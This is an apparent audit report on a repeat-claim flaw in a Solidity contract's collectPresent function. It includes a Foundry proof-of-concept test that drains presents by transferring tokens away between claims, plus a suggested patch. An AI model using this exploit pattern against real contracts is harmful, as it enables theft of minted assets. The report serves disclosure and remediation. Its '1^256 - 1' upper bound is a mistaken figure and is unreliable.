Summary
There is a logic error in the SantasList::collectPresent
function that allows a malicious user, who has been checked twice and given Status.NICE
or Status.EXTRA_NICE
to collect as many presents as they desire.
Vulnerability Details
The logic in the SantasList::collectPresent
function attempts to determine if the msg.sender
has already received their present by checking the balance of the address via balanceOf(msg.sender)
.
function collectPresent() external {
if (balanceOf(msg.sender) > 0) {
revert SantasList__AlreadyCollected();
}
}
If the user transfers the NFT and/or SantaToken
to another address and then calls SantasList::collectPresent
again, they will receive another present. This can be demonstrated by adding the follow test case to SantasListTest.t.sol
:
function testCanCollectMultiplePresents() public {
vm.startPrank(santa);
santasList.checkList(user, SantasList.Status.EXTRA_NICE);
santasList.checkTwice(user, SantasList.Status.EXTRA_NICE);
vm.stopPrank();
vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);
address receiver = makeAddr("receiver");
vm.startPrank(user);
uint256 stealCounter = 10;
for (uint256 index = 0; index < stealCounter; index++) {
santasList.collectPresent();
assertEq(santasList.balanceOf(user), 1);
assertEq(santaToken.balanceOf(user), 1e18);
if (santasList.ownerOf(index) == user) {
santasList.transferFrom(user, receiver, index);
assertEq(0, santasList.balanceOf(user));
santaToken.transfer(receiver, santaToken.balanceOf(user));
assertEq(0, santaToken.balanceOf(user));
assertGe(index + 1, santasList.balanceOf(receiver));
assertEq((index + 1) * 10 ** 18, santaToken.balanceOf(receiver));
}
}
assertEq(stealCounter, santasList.balanceOf(receiver));
assertEq(stealCounter * 10**18, santaToken.balanceOf(receiver));
vm.stopPrank();
}
In this test case stealCounter
is set to 10
, but this value is limited only by the fact the tokenId
is a uint256
(so 1^256 - 1
) and/or the amount of gas the malicious actor wants to spend.
Impact
Any msg.sender
who has been given the status of either Status.NICE
or Status.EXTRA_NICE
can theoretically mint themselves 1^256 - 1
NFTs or tokens, depending on their status and the amount of gas they wish to spend. This violates the stated intent of the contract is that the msg.sender
with the Status.NICE
or Status.EXTRA_NICE
status would receive only one present.
Tools Used
Manual Review and Foundry
Recommendations
Create a new status like Status.PRESENT_COLLECTED
, then set status of the msg.sender
to Status.PRESENT_COLLECTED
once the NFT and possible SANTA
have been minted. Then check if the present has already been collected before minting new presents.
contract SantasList {
enum Status {
NICE,
EXTRA_NICE,
NAUGHTY,
+ PRESENT_COLLECTED,
NOT_CHECKED_TWICE
}
function collectPresent() external {
if (block.timestamp < CHRISTMAS_2023_BLOCK_TIME) {
revert SantasList__NotChristmasYet();
}
if (balanceOf(msg.sender) > 0) {
revert SantasList__AlreadyCollected();
}
+ if (s_theListCheckedOnce[msg.sender] == Status.NAUGHTY || s_theListCheckedTwice[msg.sender] == Status.NAUGHTY) {
+ revert SantasList__NotNice();
+ }
+ if( s_theListCheckedOnce[msg.sender] == Status.PRESENT_COLLECTED || s_theListCheckedTwice[msg.sender] == Status.PRESENT_COLLECTED) {
+ revert SantasList__AlreadyCollected();
+ }
+ if( s_theListCheckedOnce[msg.sender] == Status.NOT_CHECKED_TWICE || s_theListCheckedTwice[msg.sender] == Status.NOT_CHECKED_TWICE) {
+ revert("SantasList__NotCheckedTwice");
+ }
+
if (s_theListCheckedOnce[msg.sender] == Status.NICE && s_theListCheckedTwice[msg.sender] == Status.NICE) {
_mintAndIncrement();
- return;
} else if (
s_theListCheckedOnce[msg.sender] == Status.EXTRA_NICE
&& s_theListCheckedTwice[msg.sender] == Status.EXTRA_NICE
) {
_mintAndIncrement();
i_santaToken.mint(msg.sender);
- return;
}
- revert SantasList__NotNice();
+ s_theListCheckedOnce[msg.sender] = Status.PRESENT_COLLECTED;
+ s_theListCheckedTwice[msg.sender] = Status.PRESENT_COLLECTED;
}
}